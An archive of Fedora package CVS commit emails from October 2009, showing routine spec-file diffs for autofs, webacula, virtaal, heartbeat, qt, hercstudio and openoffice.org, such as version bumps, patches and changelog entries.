retrieving revision 1.290
retrieving revision 1.291
diff -u -p -r1.290 -r1.291
--- autofs.spec	10 Sep 2009 04:17:52 -0000	1.290
+++ autofs.spec	16 Oct 2009 06:46:42 -0000	1.291
@@ -4,7 +4,7 @@
 Summary: A tool for automatically mounting and unmounting filesystems
 Name: autofs
 Version: 5.0.4
-Release: 40
+Release: 42
 Epoch: 1
 License: GPLv2+
 Group: System Environment/Daemons
@@ -76,6 +76,7 @@ Patch63: autofs-5.0.4-fix-libxml2-non-th
 Patch64: autofs-5.0.4-fix-direct-map-cache-locking.patch
 Patch65: autofs-5.0.4-fix-dont-umount-existing-direct-mount-on-reread.patch
 Patch66: autofs-5.0.4-special-case-cifs-escapes.patch
+Patch67: autofs-5.0.5-fix-stale-init-for-file-map-instance.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: autoconf, hesiod-devel, openldap-devel, bison, flex, libxml2-devel, cyrus-sasl-devel, openssl-devel module-init-tools util-linux nfs-utils e2fsprogs libtirpc-devel
 Requires: kernel >= 2.6.17
@@ -183,6 +184,7 @@ echo %{version}-%{release} > .version
 %patch64 -p1
 %patch65 -p1
 %patch66 -p1
+%patch67 -p1
 
 %build
 #CFLAGS="$RPM_OPT_FLAGS" ./configure --prefix=/usr --libdir=%{_libdir}
@@ -235,6 +237,9 @@ fi
 %{_libdir}/autofs/
 
 %changelog
+* Fri Oct 16 2009 Ian Kent <ikent at redhat.com> - 1:5.0.4-42
+- fix stale initialization for file map instance (bz510025).
+
 * Wed Sep 10 2009 Ian Kent <ikent at redhat.com> - 1:5.0.4-40
 - special case cifs mount location escaping (bz522109).
 



From tim4dev at fedoraproject.org  Fri Oct 16 07:07:45 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 07:07:45 +0000 (UTC)
Subject: rpms/webacula/devel import.log, NONE, 1.1 webacula.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091016070745.E7F7011C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23077/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log webacula.spec 
Log Message:
* Fri Oct 16 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-6
- Initial commit for Fedora



--- NEW FILE import.log ---
webacula-3_3-6_fc11:HEAD:webacula-3.3-6.fc11.src.rpm:1255676669


--- NEW FILE webacula.spec ---
Name:          webacula
Version:       3.3
Release:       6%{?dist}
Summary:       Web interface of a Bacula backup system
Summary(ru):   ??? ????????? ??? Bacula backup system

Group:      Applications/Internet
License:    GPLv3+
URL:        http://webacula.sourceforge.net/
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:  noarch

Requires: webserver
Requires: bacula-console >= 2.4.0
Requires: php-ZendFramework >= 1.8.3
Requires: php >= 5.2.4
Requires: php-pdo
Requires: php-json
Requires: php-pcre
Requires: php-gd
Requires: php-xml

%description
Webacula - Web Bacula - web interface of a Bacula backup system.
Supports the run Job, restore all files or selected files,
restore the most recent backup for a client,
restore backup for a client before a specified time,
mount/umount Storages, show scheduled, running and terminated Jobs and more.
Supported languages: English, French, German, Portuguese Brazil, Russian.

%description -l ru
Webacula - Web Bacula - ??? ????????? ??? Bacula backup system.
???????????? ?????? ???????, ?????????????? ???? ??? ????????? ??????,
?????????????? ?????? ??????? ?????? ??? ???????,
?????????????? ?????? ??? ??????? ?????????? ????? ????????? ????????,
????????????/??????????????? ????????, ????? ???????????????, 
????????????? ? ??????????? ??????? ? ??????.
?????????????? ?????: ??????????, ???????????, ????????,
??????????? ?????????????, ???????.


%prep
%setup -q
rm -f ./application/.htaccess
rm -f ./html/test_mod_rewrite/.htaccess
rm -f ./html/.htaccess
rm -f ./install/.htaccess
rm -f ./languages/.htaccess
rm -f ./application/.htaccess
rm -f ./docs/.htaccess



%build


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/application
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/html
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/languages
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/library
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/install

cp ./application/config.ini  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/config.ini
rm -f ./application/config.ini
ln -s %{_sysconfdir}/%{name}/config.ini  $RPM_BUILD_ROOT%{_datadir}/%{name}/application/config.ini 

cp ./install/webacula.conf  $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/webacula.conf
rm -f ./install/webacula.conf

install -p -m 755 ./install/webacula_clean_tmp_files.sh \
   $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
rm -f ./install/webacula_clean_tmp_files.sh

cp -pr ./application $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./html        $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./languages   $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./library     $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./install     $RPM_BUILD_ROOT%{_datadir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc 4CONTRIBUTORS 4CONTRIBUTORS.ru AUTHORS COPYING README UPDATE ChangeLog
%doc docs/
%{_datadir}/%{name}/application
%{_datadir}/%{name}/html
%{_datadir}/%{name}/library
%{_datadir}/%{name}/install
%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
%dir %{_datadir}/%{name}
%dir %{_datadir}/%{name}/languages
%config(noreplace) %{_sysconfdir}/httpd/conf.d/webacula.conf
%config(noreplace) %{_sysconfdir}/%{name}/config.ini
%lang(de) %{_datadir}/%{name}/languages/de
%lang(en) %{_datadir}/%{name}/languages/en
%lang(fr) %{_datadir}/%{name}/languages/fr
%lang(pt) %{_datadir}/%{name}/languages/pt
%lang(ru) %{_datadir}/%{name}/languages/ru



%changelog
* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-6
- Fix #526855.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-5
- Fix #526855. Remove Zend Framework from source.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-4
- Fix #526855

* Mon Oct 12 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-3
- Fix #526855

* Sat Oct 10 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-2
- Fix #526855 "Review Request"

* Thu Oct 08 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-1
- Initial Spec file creation for Fedora


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:31:28 -0000	1.1
+++ .cvsignore	16 Oct 2009 07:07:43 -0000	1.2
@@ -0,0 +1 @@
+webacula-3.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:31:28 -0000	1.1
+++ sources	16 Oct 2009 07:07:44 -0000	1.2
@@ -0,0 +1 @@
+d6ffafa3315758fb8d6b313e50c5c78c  webacula-3.3.tar.gz



From dwayne at fedoraproject.org  Fri Oct 16 07:08:07 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Fri, 16 Oct 2009 07:08:07 +0000 (UTC)
Subject: rpms/virtaal/devel .cvsignore, 1.10, 1.11 sources, 1.10,
	1.11 virtaal.spec, 1.12, 1.13
Message-ID: <20091016070807.4026A11C00E5@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/virtaal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23928

Modified Files:
	.cvsignore sources virtaal.spec 
Log Message:
* Fri Oct 16 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.1-1
- Update to 0.4.1
   - New translations: Turkish, Finnish, Vietnamese
   - Updated translations: Russian, Dutch and Zulu
   - More complete handling of "recent files" (bug 1120)
   - Better alignment with the GNOME human interface guidelines (bug 1095)
   - More reliable ways of obtaining the default font settings (bug 1092)
   - Better handling of HTML tags in the Apertium MT module
   - Small layout improvements (bug 1045, 1138)
- Depend on Translate Toolkit 1.4.1 for fixes to XLIFF, placeable and tmserver



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	5 Aug 2009 15:02:40 -0000	1.10
+++ .cvsignore	16 Oct 2009 07:08:06 -0000	1.11
@@ -1 +1,2 @@
 virtaal-0.4.0.tar.bz2
+virtaal-0.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	5 Aug 2009 15:02:40 -0000	1.10
+++ sources	16 Oct 2009 07:08:06 -0000	1.11
@@ -1 +1,2 @@
 1d30f5eb86cf36fba609cb5e20de627a  virtaal-0.4.0.tar.bz2
+cbbf64e451edaa2cf12f9a90c5e5d772  virtaal-0.4.1.tar.bz2


Index: virtaal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/devel/virtaal.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- virtaal.spec	5 Aug 2009 15:02:40 -0000	1.12
+++ virtaal.spec	16 Oct 2009 07:08:06 -0000	1.13
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           virtaal
-Version:        0.4.0
+Version:        0.4.1
 Release:        1%{?dist}
 Summary:        Localization and translation editor
 
@@ -20,7 +20,7 @@ BuildRequires:  python-devel
 BuildRequires:  desktop-file-utils
 BuildRequires:  gettext
 BuildRequires:  intltool
-Requires:       translate-toolkit >= 1.4
+Requires:       translate-toolkit >= 1.4.1
 Requires:       libtranslate
 Requires:       pygtk2
 Requires:       pygtk2-libglade
@@ -40,16 +40,24 @@ A program for Computer Aided Translation
 Virtaal includes features that allow a localizer to work effectively including:
 syntax highlighting, autocomplete and autocorrect.  By showing only 
 the data that is needed through its simple and effective user interface it
-ensures that you can focus on their current translation task.
+ensures that translators can focus on their current translation task.
 
 A rich set of Translation Memory (TM) plugins provide valuable suggestions to
-the translator from sources such as open-tran.eu, libtranslate, the current 
-file, and the translators own TM server.
+the translator from sources such as Open-Tran.eu, the current file, and the 
+translators own TM server.  Similarly Machine Translation (MT) suggestions can 
+come from Apertium and libtranslate.
+
+The terminology plugin system will provide terminology hints from Open-Tran.eu
+and local terminology files.
+
+Placeholders such as variables, abbreviations, URLs, emails and special 
+punctutions are highlighted for easy insertion into the translations.
 
 Virtaal is able to edit any of the following formats: XLIFF, Gettext PO and 
 .mo, Qt .ts, .qph and .qm, Wordfast TM, TMX and TBX. The Translate Toolkit 
-converters allow translators to edit: OpenOffice.org SDF, Java (and Mozilla) 
-.properties and Mozilla DTD files.
+converters allow translators to edit: OpenDocument Format (ODF), 
+OpenOffice.org SDF, Java (and Mozilla) .properties, Mozilla DTD files,
+subtitles, and other formats.
 
 
 %prep
@@ -141,6 +149,17 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.1-1
+- Update to 0.4.1
+   - New translations: Turkish, Finnish, Vietnamese
+   - Updated translations: Russian, Dutch and Zulu
+   - More complete handling of "recent files" (bug 1120)
+   - Better alignment with the GNOME human interface guidelines (bug 1095)
+   - More reliable ways of obtaining the default font settings (bug 1092)
+   - Better handling of HTML tags in the Apertium MT module
+   - Small layout improvements (bug 1045, 1138)
+- Depend on Translate Toolkit 1.4.1 for fixes to XLIFF, placeable and tmserver
+
 * Wed Aug 5 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.0-1
 - Update to 0.4.0 final
   - Terminology suggestions



From dwayne at fedoraproject.org  Fri Oct 16 07:29:16 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Fri, 16 Oct 2009 07:29:16 +0000 (UTC)
Subject: rpms/virtaal/devel .cvsignore,1.11,1.12 sources,1.11,1.12
Message-ID: <20091016072916.D7A0111C00E5@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/virtaal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29644

Modified Files:
	.cvsignore sources 
Log Message:
Drop old sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	16 Oct 2009 07:08:06 -0000	1.11
+++ .cvsignore	16 Oct 2009 07:29:13 -0000	1.12
@@ -1,2 +1 @@
-virtaal-0.4.0.tar.bz2
 virtaal-0.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	16 Oct 2009 07:08:06 -0000	1.11
+++ sources	16 Oct 2009 07:29:14 -0000	1.12
@@ -1,2 +1 @@
-1d30f5eb86cf36fba609cb5e20de627a  virtaal-0.4.0.tar.bz2
 cbbf64e451edaa2cf12f9a90c5e5d772  virtaal-0.4.1.tar.bz2



From beekhof at fedoraproject.org  Fri Oct 16 07:44:18 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Fri, 16 Oct 2009 07:44:18 +0000 (UTC)
Subject: rpms/heartbeat/F-12 heartbeat.spec,1.39,1.40
Message-ID: <20091016074418.95DF411C00E5@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/heartbeat/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1662

Modified Files:
	heartbeat.spec 
Log Message:
Resolve file conflict, shellfuncs is provided by resource-agents


Index: heartbeat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/heartbeat/F-12/heartbeat.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- heartbeat.spec	21 Aug 2009 13:48:52 -0000	1.39
+++ heartbeat.spec	16 Oct 2009 07:44:17 -0000	1.40
@@ -2,7 +2,7 @@
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with:
 # hg archive -t tgz -p "Linux-HA-Dev-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 4
+%global specversion 5
 %global upstreamprefix Linux-HA-Dev-
 %global upstreamversion 0daab7da36a8
 
@@ -15,7 +15,7 @@
 Summary:          Messaging and membership subsystem for High-Availability Linux
 Name:             heartbeat
 Version:          3.0.0
-Release:          %{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}.1
+Release:          %{?alphatag:0.}%{specversion}%{?alphatag:.%{alphatag}}%{?dist}
 License:          GPLv2 and LGPLv2+
 URL:              http://linux-ha.org/
 Group:            System Environment/Daemons
@@ -136,7 +136,7 @@ fi
 %doc %{_datadir}/doc/%{name}-%{version}
 %dir %{_sysconfdir}/ha.d
 %{_sysconfdir}/ha.d/harc
-%config(noreplace) %{_sysconfdir}/ha.d/shellfuncs
+%exclude %{_sysconfdir}/ha.d/shellfuncs
 %{_sysconfdir}/ha.d/rc.d
 %config(noreplace) %{_sysconfdir}/ha.d/README.config
 %{_datadir}/heartbeat/
@@ -176,6 +176,9 @@ fi
 %{_libdir}/*.so
 
 %changelog
+* Thu Oct 15 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.0-0.5.0daab7da36a8.hg
+- Resolve file conflict, shellfuncs is provided by resource-agents
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 3.0.0-0.4.0daab7da36a8.hg.1
 - rebuilt with new openssl
 



From dwayne at fedoraproject.org  Fri Oct 16 07:59:32 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Fri, 16 Oct 2009 07:59:32 +0000 (UTC)
Subject: rpms/virtaal/F-11 .cvsignore, 1.10, 1.11 sources, 1.10,
	1.11 virtaal.spec, 1.11, 1.12
Message-ID: <20091016075932.6ADE211C00E5@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/virtaal/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7333

Modified Files:
	.cvsignore sources virtaal.spec 
Log Message:
* Fri Oct 16 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.1-1
- Update to 0.4.1
   - New translations: Turkish, Finnish, Vietnamese
   - Updated translations: Russian, Dutch and Zulu
   - More complete handling of "recent files" (bug 1120)
   - Better alignment with the GNOME human interface guidelines (bug 1095)
   - More reliable ways of obtaining the default font settings (bug 1092)
   - Better handling of HTML tags in the Apertium MT module
   - Small layout improvements (bug 1045, 1138)
- Depend on Translate Toolkit 1.4.1 for fixes to XLIFF, placeable and tmserver



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	5 Aug 2009 19:14:05 -0000	1.10
+++ .cvsignore	16 Oct 2009 07:59:31 -0000	1.11
@@ -1 +1 @@
-virtaal-0.4.0.tar.bz2
+virtaal-0.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	5 Aug 2009 19:14:05 -0000	1.10
+++ sources	16 Oct 2009 07:59:31 -0000	1.11
@@ -1 +1 @@
-1d30f5eb86cf36fba609cb5e20de627a  virtaal-0.4.0.tar.bz2
+cbbf64e451edaa2cf12f9a90c5e5d772  virtaal-0.4.1.tar.bz2


Index: virtaal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtaal/F-11/virtaal.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- virtaal.spec	5 Aug 2009 19:14:05 -0000	1.11
+++ virtaal.spec	16 Oct 2009 07:59:32 -0000	1.12
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           virtaal
-Version:        0.4.0
+Version:        0.4.1
 Release:        1%{?dist}
 Summary:        Localization and translation editor
 
@@ -20,7 +20,7 @@ BuildRequires:  python-devel
 BuildRequires:  desktop-file-utils
 BuildRequires:  gettext
 BuildRequires:  intltool
-Requires:       translate-toolkit >= 1.4
+Requires:       translate-toolkit >= 1.4.1
 Requires:       libtranslate
 Requires:       pygtk2
 Requires:       pygtk2-libglade
@@ -40,16 +40,24 @@ A program for Computer Aided Translation
 Virtaal includes features that allow a localizer to work effectively including:
 syntax highlighting, autocomplete and autocorrect.  By showing only 
 the data that is needed through its simple and effective user interface it
-ensures that you can focus on their current translation task.
+ensures that translators can focus on their current translation task.
 
 A rich set of Translation Memory (TM) plugins provide valuable suggestions to
-the translator from sources such as open-tran.eu, libtranslate, the current 
-file, and the translators own TM server.
+the translator from sources such as Open-Tran.eu, the current file, and the 
+translators own TM server.  Similarly Machine Translation (MT) suggestions can 
+come from Apertium and libtranslate.
+
+The terminology plugin system will provide terminology hints from Open-Tran.eu
+and local terminology files.
+
+Placeholders such as variables, abbreviations, URLs, emails and special 
+punctutions are highlighted for easy insertion into the translations.
 
 Virtaal is able to edit any of the following formats: XLIFF, Gettext PO and 
 .mo, Qt .ts, .qph and .qm, Wordfast TM, TMX and TBX. The Translate Toolkit 
-converters allow translators to edit: OpenOffice.org SDF, Java (and Mozilla) 
-.properties and Mozilla DTD files.
+converters allow translators to edit: OpenDocument Format (ODF), 
+OpenOffice.org SDF, Java (and Mozilla) .properties, Mozilla DTD files,
+subtitles, and other formats.
 
 
 %prep
@@ -140,6 +148,17 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.1-1
+- Update to 0.4.1
+   - New translations: Turkish, Finnish, Vietnamese
+   - Updated translations: Russian, Dutch and Zulu
+   - More complete handling of "recent files" (bug 1120)
+   - Better alignment with the GNOME human interface guidelines (bug 1095)
+   - More reliable ways of obtaining the default font settings (bug 1092)
+   - Better handling of HTML tags in the Apertium MT module
+   - Small layout improvements (bug 1045, 1138)
+- Depend on Translate Toolkit 1.4.1 for fixes to XLIFF, placeable and tmserver
+
 * Wed Aug 5 2009 Dwayne Bailey <dwayne at translate.org.za> - 0.4.0-1
 - Update to 0.4.0 final
   - Terminology suggestions



From than at fedoraproject.org  Fri Oct 16 08:26:04 2009
From: than at fedoraproject.org (Than Ngo)
Date: Fri, 16 Oct 2009 08:26:04 +0000 (UTC)
Subject: rpms/qt/F-12 qt.spec,1.337,1.338
Message-ID: <20091016082604.09C8C11C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14509

Modified Files:
	qt.spec 
Log Message:
- subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
  for assistant




Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/F-12/qt.spec,v
retrieving revision 1.337
retrieving revision 1.338
diff -u -p -r1.337 -r1.338
--- qt.spec	14 Oct 2009 18:18:36 -0000	1.337
+++ qt.spec	16 Oct 2009 08:26:03 -0000	1.338
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 5%{?dist}
+Release: 6%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -203,10 +203,6 @@ Obsoletes: qgtkstyle < 0.1
 Provides:  qgtkstyle = 0.1-1
 Obsoletes: qt4-config < 4.5.0
 Provides: qt4-config = %{version}-%{release}
-Obsoletes: qt4-sqlite < 4.5.0 
-Provides: qt4-sqlite = %{version}-%{release}
-Obsoletes: qt-sqlite < %{?epoch:%{epoch}:}4.5.0
-Provides: qt-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
 
 %description 
 Qt is a software toolkit for developing applications.
@@ -330,6 +326,17 @@ Provides:  qt4-postgresql = %{version}-%
 %description postgresql 
 %{summary}.
 
+%package sqlite
+Summary: SQLite driver for Qt's SQL classes
+Group: System Environment/Libraries
+Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
+Obsoletes: qt4-SQLite < %{version}-%{release}
+Provides:  qt4-SQLite = %{version}-%{release}
+Obsoletes: qt4-sqlite < %{version}-%{release}
+Provides:  qt4-sqlite = %{version}-%{release}
+
+%description sqlite
+%{summary}.
 
 %package x11
 Summary: Qt GUI-related libraries
@@ -347,6 +354,9 @@ Provides:  qt4-phonon = %{version}-%{rel
 Obsoletes: WebKit-qt < 1.0.0-1
 Provides:  WebKit-qt = 1.0.0-1
 %endif
+%if 0%{?sqlite:1}
+Requires: %{name}-sqlite = %{?epoch:%{epoch}:}%{version}-%{release}
+%endif
 Provides: qt4-assistant = %{version}-%{release}
 Provides: %{name}-assistant = %{version}-%{release}
 Requires: %{name}%{?_isa} = %{?epoch:%{epoch}:}%{version}-%{release}
@@ -810,7 +820,6 @@ fi
 %{_qt4_libdir}/libQtXmlPatterns.so.*
 %dir %{_qt4_plugindir}
 %dir %{_qt4_plugindir}/sqldrivers/
-%{_qt4_plugindir}/sqldrivers/libqsqlite*
 %{_qt4_translationdir}/
 
 %if 0%{?demos}
@@ -934,6 +943,12 @@ fi
 %{_qt4_plugindir}/sqldrivers/libqsqlpsql*
 %endif
 
+%if "%{?sqlite}" == "-plugin-sql-sqlite"
+%files sqlite
+%defattr(-,root,root,-)
+%{_qt4_plugindir}/sqldrivers/libqsqlite*
+%endif
+
 %files x11 
 %defattr(-,root,root,-)
 %{_sysconfdir}/rpm/macros.*
@@ -972,6 +987,10 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Than Ngo <than at redhat.com> - 4.5.3-6
+- subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
+  for assistant
+
 * Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.3-5
 - drop needless Prereq: /etc/ld.so.conf.d
 



From sharkcz at fedoraproject.org  Fri Oct 16 08:44:49 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 08:44:49 +0000 (UTC)
Subject: rpms/hercstudio/devel .cvsignore, 1.2, 1.3 hercstudio.spec, 1.1,
	1.2 sources, 1.2, 1.3 hercstudio-buttons.patch, 1.1,
	NONE hercstudio-gcc44.patch, 1.1, NONE
Message-ID: <20091016084449.D5A2B11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/hercstudio/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21197

Modified Files:
	.cvsignore hercstudio.spec sources 
Removed Files:
	hercstudio-buttons.patch hercstudio-gcc44.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
- update to 1.0.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 08:42:42 -0000	1.2
+++ .cvsignore	16 Oct 2009 08:44:48 -0000	1.3
@@ -1 +1 @@
-hercstudio-svn3.tar.bz2
+herculesstudio-1.0.0-src.tar.gz


Index: hercstudio.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/devel/hercstudio.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hercstudio.spec	17 Sep 2009 08:42:46 -0000	1.1
+++ hercstudio.spec	16 Oct 2009 08:44:49 -0000	1.2
@@ -1,17 +1,13 @@
 Name:           hercstudio
-Version:        1.0
-Release:        0.2.beta%{?dist}
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        GUI front-end to the Hercules mainframe Emulator
 
 Group:          Applications/Emulators
 License:        GPLv3+
 URL:            http://www.mvsdasd.org/hercstudio/
-# sources retrieved from SVN with
-# fedora-getsvn hercstudio https://hercstudio.svn.sourceforge.net/svnroot/hercstudio/trunk/HerculesStudio 3
-Source0:        %{name}-svn3.tar.bz2
+Source0:        http://www.mvsdasd.org/hercstudio/herculesstudio-%{version}-src.tar.gz
 Source1:        %{name}.desktop
-Patch0:         %{name}-gcc44.patch
-Patch1:         %{name}-buttons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  qt4-devel
@@ -24,9 +20,7 @@ GUI front-end to the Hercules mainframe 
 
 
 %prep
-%setup -q -n %{name}
-%patch0 -p2 -b .gcc44
-%patch1 -p0 -b .buttons
+%setup -q -n HerculesStudio
 
 
 %build
@@ -60,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
+- update to 1.0.0
+
 * Mon Sep  7 2009 Dan Hor?k <dan[at]danny.cz> - 1.0-0.2.beta
 - add patch for panel buttons from upstream
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	17 Sep 2009 08:42:46 -0000	1.2
+++ sources	16 Oct 2009 08:44:49 -0000	1.3
@@ -1 +1 @@
-7d0ec93eac96a135df9bbeacafb74a36  hercstudio-svn3.tar.bz2
+6e144266c2dea07e716049c4ff072d62  herculesstudio-1.0.0-src.tar.gz


--- hercstudio-buttons.patch DELETED ---


--- hercstudio-gcc44.patch DELETED ---



From caolanm at fedoraproject.org  Fri Oct 16 08:45:25 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri, 16 Oct 2009 08:45:25 +0000 (UTC)
Subject: rpms/openoffice.org/devel sources,1.377,1.378
Message-ID: <20091016084525.AFEC711C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21788

Modified Files:
	sources 
Log Message:
update sources


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/sources,v
retrieving revision 1.377
retrieving revision 1.378
diff -u -p -r1.377 -r1.378
--- sources	15 Oct 2009 16:21:52 -0000	1.377
+++ sources	16 Oct 2009 08:45:25 -0000	1.378
@@ -6,4 +6,4 @@ f0cda31fe18bf9289629a321663031b8  redhat
